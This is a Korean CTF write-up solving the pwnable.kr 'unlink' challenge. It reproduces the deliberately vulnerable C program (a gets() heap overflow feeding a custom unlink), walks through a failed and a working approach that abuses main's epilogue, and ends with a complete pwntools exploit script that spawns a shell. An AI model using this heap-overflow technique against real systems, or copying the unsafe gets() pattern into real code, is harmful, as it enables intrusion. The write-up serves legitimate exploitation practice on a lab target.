
heap의 unsafe unlink를 이용하여 풀라는 것 같다.
먼저 문제 코드를 보자.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk; //A
FD=P->fd; //C
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %pn", &A);
printf("here is heap address leak: %pn", A);
printf("now that you have leaks, get shell!n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
이 문제는 실제 allocator의 api인 free를 통한 unlink를 공격하는 문제는 아니었다. 프로그램에서 내부적으로 unlink 함수를 구현해뒀고, 이는 실제 unlink처럼 double-linked list를 수정해주기는 하지만, 인자로 전달된 부분을 해제하지는 않는다는 차이점이 존재한다.
해당 unlink 함수를 이용하여 공격을 해보자.
먼저 코드를 읽어보면, OBJ struct 세개를 동적할당 하고 있다. A, B, C가 순서대로 할당되었으며, C ↔ B ↔ A (왼쪽이 fd, 오른쪽이 bk)로 구성되어 있다.
OBJ의 크기는 0x10이고, 메타데이터까지 해서 실제로 객체 하나당 할당되는 메모리의 크기는 0x18이다.
따라서 heap을 그려보면 다음과 같이 그릴 수 있다.

unlink를 수행하면 그림의 파란 글씨처럼 A, C 객체에서 B를 가리키던 fd, bk가 각각 C와 A로 바뀌게 된다.
코드를 보면 gets 함수를 통해서 A의 buf(bk 이후 부분)에 입력을 받는다. overflow를 통해 B의 객체를 수정해야겠지?

unlink 함수를 수행하면 다음과 같은 루틴이 실행된다.
먼저 B의 fd에 저장된 주소+4에 가서, B의 bk에 저장된 값을 작성한다.
그리고 B의 bk에 저장된 주소에 가서, B의 fd에 저장된 값을 작성한다.
가장 처음 생각한 시나리오는 다음과 같다.

fd에 넣은 stack-0x1C는 unlink 함수 실행 시의 return address가 저장되는 주소 – 0x4이다. 이렇게 함으로써 unlink 함수를 통해 unlink 함수의 return address에 shell 함수의 주소를 작성하는 것이다!! 그렇게 하면 unlink를 마치고 ret시에 shell 함수로 jmp할 수 있을 거라 생각했다.
이게 틀린 말은 아니었다. 하지만 문제는, return address를 덮어쓴 이후에, unlink 함수에서 bk, 즉 shell 함수에 접근해서 해당 함수에 새로운 값을 작성하게 된다. 따라서 이때 Segfault가 발생해서 오류로 프로그램이 종료되게 된다……
따라서 다른 시나리오를 생각하게 되었다.
이 프로그램의 코드를 다시 보면, 메인 함수의 에필로그 부분에 다음과 같은 루틴이 존재했다.

단순히 leave, ret를 실행하는 것이 아니라, [[ebp-0x4]-0x4]에 접근해서 jmp할 주소를 가져오고 있었다! 실제로 따라가보면, 해당 부분에 libc_start_main 함수의 코드가 존재하고 있었다.
이때 루틴을 자세히 보면
- ebp-0x4에 먼저 접근해서 ecx에 값을 저장하고,
- 저장된 값에서 0x4를 뺀 곳에 다시 접근해서 해당 주소에 저장된 값을 가져오는 루틴이였다.
따라서, 두번째 시나리오를 생각했다.

먼저, buf에 값을 쓸 때 shell 함수의 코드 주소를 적어놓는다. 그 다음에
- ebp-0x4에 A의 buf + 4의 주소를 적어주고,
- 두번째로 값을 불러와서 0x4를 빼면 shell 함수 코드 시작 부분이 작성된 A의 buf의 시작점의 값을 가져오게 된다!!
따라서 이렇게 하면 main 함수를 마무리하면서 ret 할 시에 shell 함수로 jmp할 수 있게 된다.

전체적으로 정리한 풀이본은 다음과 같다.
마지막으로 풀이 코드이다.
from pwn import *
#context.log_level = 'debug'
s=ssh(user='unlink', host='pwnable.kr',port=2222,password='guest')
#s.download('/home/unlink/unlink', './unlink')
p=s.process('/home/unlink/unlink')
#p=process('./unlink')
e=ELF('./unlink')
get_shell = e.symbols['shell']
#exit_got = e.got['exit']
log.info('get_shell : '+hex(get_shell))
#log.info('exit_got : '+hex(exit_got))
stack_address = int(p.recvline()[-11:],16)
heap_address = int(p.recvline()[-10:],16)
log.info('stack address : '+hex(stack_address))
log.info('heap address : '+hex(heap_address))
unlink_ret = stack_address - 0x1c
payload = p32(get_shell)
payload += b'x00'*8
payload += p32(0x19)
payload += p32(heap_address + 0xC)
payload += p32(stack_address + 0x10)
p.recvuntil(b'get shell!')
p.send(payload)
p.interactive()

성공!